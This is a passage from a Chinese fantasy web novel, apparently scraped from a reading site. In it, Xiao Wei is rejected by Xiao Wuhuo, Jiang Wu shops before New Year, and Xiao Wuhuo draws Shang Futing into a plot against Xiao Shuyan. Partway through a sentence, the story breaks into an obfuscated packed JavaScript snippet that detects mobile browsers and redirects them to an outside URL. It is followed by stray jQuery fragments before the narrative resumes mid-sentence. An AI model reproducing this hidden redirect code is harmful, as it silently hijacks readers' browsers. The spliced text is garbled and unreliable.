初晨之曦,薄光鎏金。
萧蔚采了满满地一竹篮覆盆子和红樱桃,白色的衣裙上沾满了露水和杂草,她也无心打理,一路欢呼雀跃地跑进了萧无祸的小院。
“三郎,三郎。”
扫撒的婢子看到突然出现的萧蔚吓了一跳,她先是上下打量了一番后者,“女郎这是外出了吗?三公子不是去无咎大夫那治伤了吗?您一直不知晓吗?”
萧蔚敛了敛情绪,笑着对婢子说:“你瞧我都忘了,你瞧我可与从前无二?是否有不同的地方?”
婢子摇了摇头,“女郎还同从前一般光彩照人。”
萧蔚笑着抬手理了理发髻,心满意足地转身向萧无咎的院中走去。
从应如同一只发狂的野兽,神情暴躁地在房间中踱步,他看向在一旁神情悠闲的萧无祸,更加气盛,“你到底何时才让我去救我弟弟?”
“别急,很快,而且这种事情主动权在我们手中才对,他们临时起意捉了你的弟弟,必定是想着用你弟弟来换那个女修,你迟迟不露面,着急得该是他们才对,因为有那女修在手,所以他们才会忌惮,更加不会动你弟弟,你要沉得住气。”萧无祸低头抿茶,“再者,你打得过修罗吗?你带来的那些鬼族人,不全部死在了她的手中吗?”
从应停下了脚步,扭头去看缩在角落中的沈确,随即快步朝她走了过去。
萧无祸出声问道:“你要做何事?五行道宗怎么说也是正道之首,况且这名女修继承了太初道尊的太阿剑,我劝你不要太放肆。”
从应站在沈确面前,看着她像一只鹌鹑一般缩在一处,神情惊恐地看着他,像极了一只温顺求生的鹿。
从应顿时泄了气,“算了,我也无意挑起鬼族人同正道的斗争。”
萧无祸说:“天书给你,今日计划照常进行。”
从应道:“知道了,不过你说他们的力量如此强悍,又是修罗又是大妖的,为何不直接杀过来?还要跟我们像是玩游戏一般,莫非,他们在戏弄我们?!”
萧无祸睨了从应一眼,“你想多了,无咎这里有我的法器,能够隐秘气息,只要你们不出这个院子,即便是大罗神仙下凡也难以找到你们的踪迹。其余的你便不用管了,确保计划万无一失便可。”
“你要知晓我们鬼族人最擅长的便是附身了。”从应笑道,“马上便是新的一年了,你却想出了这么丧心病狂的计划,萧三郎啊萧三郎,真不愧是你啊。不过,你可要小心啊,这次可没人愿意舍命救你了。”
沈确蹙眉,听着二人的谈话心中难免担忧,可是她被封印了真元,无法将这里的消息传递出去,只能徒生担忧。
萧无祸神情一凛,“多嘴。”
萧蔚拎着竹篮,根据萧无咎的指示来到了一扇房门前,她本想唤面水镜看看此时自己的发髻云鬓,又想起自己已经不再是妖了,索性重新打理了一番。
萧蔚抚了抚胸口,按捺下自己喜悦的心情,然后抬手敲了敲门。
萧无祸闻声倏地看向门口,随即以眼神示意从应带着沈确躲起来。
“进来。”
萧蔚听到熟悉的声音,心跳漏了一拍,原本急切的心情刹那间冷静了下来,她想推开面前的那扇门,却无论如何也抬不起手。
萧无祸以为是送药的婢子,手脚不算勤快,一直在门外磨蹭,索性他便拖着病体起身,有些不耐烦地打开了门,“我说你……”
萧蔚神情一惊,也不曾想到萧无祸会前来开门,顿时惊在了原地。
萧无祸面上也是微微惊讶,看着面前熟悉的女子,眉心紧紧地蹙了起来。
“你来做何事?”
萧蔚脸上的笑容如同花朵一般凋谢,她按捺住心底的难过,复尔又重新拾起笑容,她将手中的竹篮举起来,娇声道:“三郎,我来给你送果子。”
萧无祸面无表情地说:“不需要,我们已经两清了,你不必再如此做了。你若是心有不满,可以去找管事领些银子,若是不需要,那便不必留在荆州府了。”
萧蔚抿了抿双唇,她勉力笑着,“是因为三郎觉得我是妖吗?我现下已经不是妖了,姜女郎给了我个木偶身,虽然也算不得人,但最起码我还能活着,还能照顾三郎。”
萧无祸目光一冷,“但你终究不是人,莫要再肖想以前了。”
“三郎,三郎,你别这样。之前是我的错,我也不曾想那陷阱会弄伤你的腿,害你至此。”萧蔚忍住眼泪,“你让我留在你身边照顾你好不好,你看这些天你都憔悴的。我们回小院好不好?这里太简陋了,这些天你一定没有好好休息吧?夜间是否还会觉得双腿难受?”
萧无祸面色冷峻,想起那一个个双腿疼痛难忍的夜晚,萧蔚彻夜不睡地守着他,替他按摩双腿。
萧无祸抬手打翻了萧蔚手中的竹篮,“你不必如此作践自己,你真的以为我是否在意你是妖还是人吗?你真的确定我是在意你吗?从前,我只是在意你的一身妖力,现下你还有什么值得我在意的?”
萧蔚神情惊讶地看着撒落一地的覆盆子和红樱桃,熟透的果实摔在地上,汁水溅得四处都是,如同她现下的心一般破碎。
萧蔚试探地问道:“三郎现下是觉得我无用了对吗?”
萧无咎引着萧妺过来时,恰巧看到这么一幕。
萧妺拎着食盒快步上去,她好奇地打量着萧蔚,“哥哥,发生何事了?”
萧无祸眉毛高高地挑起,他上下打量了一番萧蔚,反问道:“你还有何处有用?你所说的事情,随随便便一个婢子都能做。”
萧无祸睨了萧蔚一眼,随即转身进门,萧妺依依不舍地看着萧蔚,她对于面前明艳动人的女子很感兴趣,似乎就是信件中所说的那位嫂嫂,但是碍于萧无祸的面子,终究没有多说一些,只是跟着进了房间。
萧蔚站在原地,眼泪如同断了线的珠子一般落了下来。
萧无咎见状俯身将散落在地的覆盆子和红樱桃捡起来,全部收进了竹篮中。
“走吧,他不想见你。”萧无咎将竹篮递换给萧蔚,“覆盆子是一味药用价值很高的果子,尤其是像三公子这种长期下肢无法活动之人,多多服用能够防止体内血液凝固,从而导致的中风或者肺衰等等,你很有心。”
萧无咎见萧蔚接过竹篮,便转身离开。
萧蔚也不知晓自己该去何处,只能一边擦着眼泪,一边无意识地跟着萧无咎。
“你无处可去吗?”萧无咎抖着竹筛中半干的药材,“你之前都是在哪?”
萧蔚哽咽道:“我之前在姜女郎那,但是大公子太吓人了,我之前便害怕他,现下更怕他了。”
萧无咎无声地叹了口气,“你若是无事便来帮我筛药材吧。”
萧蔚泪眼婆娑地抬眸看向萧无咎,“可是我不会。”
萧无咎头也不抬地说:“过来学。”
萧蔚将竹篮放在一旁,默默地走上前跟着萧无咎学习如何筛药,“你真好,愿意暂时收留我。”
萧无咎轻笑了一声,“因为我在无处可去的时候,也是被萧家收留的。”
萧蔚讶然,“无咎公子是被萧家收留的吗?我以为是亲戚之类的呢。”
萧无咎摇了摇头,“不是,我无父无母,萧公收留我时,舒延刚出生不久,当时萧家也是因为城主之位闹得不可开交,我那时不过才七岁,为了报答萧公的恩情,也怕有人会趁萧公不在会做出伤害夫人和舒延的事情,于是自告奋勇拿着木棍在门外保护他们。”
萧无咎笑了一声,其中多少带了些自嘲。
萧蔚破涕而笑,“无咎公子也是个知恩图报的好人呢。”
萧无咎说:“你也莫要太埋怨无咎,他常年受双腿所累,偶然得知害他如此的竟然是朝夕相对的枕边人,论谁都一时半刻难以接受。”
萧蔚垂下双眸,暗自伤神,“我不怨他,毕竟都是我的错,还有荆州城内的种种血债,但是我不悔。为了三郎,让我做何事,我都愿意,死我也不怕。”
萧无咎无奈地叹了一声,“因为你的情深,居然让这般多的人葬送了性命。你若是还有那么一丝对荆州百姓的悔意,那便多做一些善事吧,就当作是为了萧无祸积福积德。”
【荆州长街】
“你一大早喊我出来便是让我给你当苦力的吗?”寂满神情不满地抱怨,脖子上挂的三个礼盒险些要将他的颈子压断,“姜芜,你能不能帮我拿几个?我要累断气了。”
姜芜从首饰摊前折了回来,伸手将寂满脖颈上的礼盒取了下来,“不过才这点东西便累得你哭天抢地吗?你也太弱了吧。”说完,她便重新折回了首饰摊前,在一众精致的发簪中挑挑拣拣。
“谁哭天抢地了?你这都是买的什么东西啊?!”寂满跟着姜芜走到首饰摊前,随意地扫了一番其中的东西,“你要买首饰吗?为何不去首饰店吗?这摊子上的破烂玩意,你看得上吗?”
“你说谁的东西是破烂玩意?!”摊主不满地说,“买不买?不买赶紧走人,大清早的,不要耽误我做生意!”
姜芜笑着解释道:“发簪这种东西讲究眼缘的,首饰店的东西不一定好,小摊位上的东西不一定不好。”说完,她便挑了一个水头十足的青白玉发簪。
寂满的双眸顿时放光,他急切地说:“姜芜姜芜,你若是把这根发簪送我,我就原谅你今日对我的所作所为。”
“我要这根,麻烦包起来。”姜芜将发簪递给摊主,顺便将银子一同,“这发簪是送给雾沅的,既然今日带你出来了,你可以随意挑选,我来付钱。”
“真的?”寂满打蛇随杆上,立刻狮子大开口,“那我要黄金的,我要镶珠宝的。”
姜芜接过摊主递来包好的发簪,随手放入了寂满的衣襟之中,笑着说:“可以,只要你有相中的。”
寂满跟着姜芜的步伐,顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415845|163894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着长街走着,“话说,你买这么多东西到底做什么用啊?”
姜芜问道:“你不觉得今日街上很热闹吗?”
寂满四下看了看,随后有些苦恼地摇着头说:“不觉得,感觉跟平时没什么两样。”
“明日是除夕,很快便是新的一年了。”姜芜解释说,“我买的全都是各种吃食、礼物,以及给你们的新衣裳。”
寂满闻言笑了起来,“新衣裳?还有我的新衣裳?”
姜芜颔首,“当然,新的一年,万象更始,小孩子都会有新衣裳穿的,寓意着万象从新,是个好兆头。”
“小孩?我是小孩吗?”寂满蹙眉,最后看在礼物的面子上,愉快地承认道:“好吧,我是小孩,嘿嘿。”
姜芜略感无奈,看向寂满的眼神中多了几分宠溺。
【荆州府】
“哥哥,你还是不打算将你身上的事情告诉我吗?”萧妺上前挽住萧无祸的手臂,“还有方才那个女郎是你信中提到过的吗?”
萧无祸说:“事已至此,无甚好说的。”
萧妺不解地看着萧无祸,“可是,她真的没有哥哥说的那么重要吗?既然如此,哥哥为何还在给我的信中提起她?”
萧无祸沉默,他垂眸久久地看着萧妺,看着她手中摘来的红色玉兰花。
“或许以前重要,但是现下不重要了,不能再重要下去了,她是妖,人妖有别,况且她杀了那么多荆州百姓。”
萧妺讶然,“她是妖吗?荆州挖心一事居然同她有关?”
李安平急匆匆地从小路的另一端应了过来,“阿妺,你为何不说一声便出来了?这让我很担心的。”
萧妺勾唇,娇哼道:“这是我自己家,有何好担心的?”
萧无祸拍了拍萧妺的肩膀,面容和煦,“阿妺,回去吧,好好休息,要过年了。”
萧妺笑着点了点头,“好,又可以同哥哥一起过年守岁了。”
萧无祸面带微笑目送萧妺和李安平走远,随后神情紧绷地转身去了商扶庭所在的院落。
“商师弟。”
商扶庭闻言收剑,转身一脸不解地看着萧无祸,他不知晓后者来寻他何事,但依旧礼貌询问,“萧师兄?你身体可有好转?”
萧无祸勾唇,“你不必同我客套,你的剑意已经乱了,恐怕很担心你师妹吧。”
商扶庭蹙眉,神情警惕地看着萧无祸,低声质问道:“从应果然同你在一处,我师妹呢?”
萧无祸缓步走至凉亭内坐下,他偏头低咳了一番,“放心,她很好,你很快便能看到她了。”
商扶庭提剑走进凉亭,“你还未放弃让萧家覆灭?你可知南疆鬼族人的猖狂?你对你的家人有怨,对你的父亲有怨,荆州百姓何其无辜?那只狐妖又为了你杀了多少人?即便如此,你还是不曾放弃吗?”
萧无祸面无表情地抬眸看向商扶庭,心绪毫无波澜,“我放弃了,但是现下我想当城主,你们帮我杀了萧舒延。你不想杀人没关系,你身边不是有两个大妖吗?让他们动手。”
商扶庭面色凝重,思忖了片刻,他正纠结如何支走姜芜来困住睢羲,在他的计划中姜芜便是唯一的变数,事分大小轻重缓急,东城的百姓还等着天河之水救命,修罗已经出现在了荆州之地,况且并州又生事端,实在是耗不起。
“但是他身侧有个女修罗,你不怕吗?”
“女修罗?”萧无祸嗤笑一声,“我倒是想问问,五行道宗为何要同修罗混在一处,而且还对外声称是个瞎眼孤女,真是遗笑千秋,你也不怕让五行道宗沦为笑柄。”
“这……”商扶庭哑然,他觉得面前发麻,有些无地自容,心中一片恐慌,片刻后才开口,“我们也是被她骗了,她那么强,这也是情有可原吧。”
萧无祸哼笑一声,“别是鬼迷心窍便可,我有办法牵扯住她,你从我这里取了避火瓶,总该帮我做点事情吧?”
商扶庭问道:“我要帮你做何事?”
萧无祸说:“萧舒延一时半刻是杀不死的,你只需要让那两个大妖困住他便可,老天爷既然没有收我的命,那我便让他也尝尝变成废人、被亲近之人背叛的痛苦。”
商扶庭心中有些惊慌,萧无祸的计划与他所想的高度重合,他甚至不必冒着让师门蒙羞的可能去告诉那些散修姜芜的真实身份,这种下三滥的手段让他无措,但是萧无祸的出面会让整件事情顺利很多,这种巧合让他心惊。
“你预备何时动手?”
“申时末。”
商扶庭颔首应下,“可以,我需要一辆马车,今夜事成之后我们便离开这里,已经有之前遇到过的散修认出了我们,我不想给师门添麻烦。至于荆州,千万不要让它落入鬼族人的手中,即便不是为了正道,也要为了荆州千万万百姓考虑。”
萧无祸抬眸看了商扶庭一眼,“我答应你,到时我会让沈确驾车接应你们。”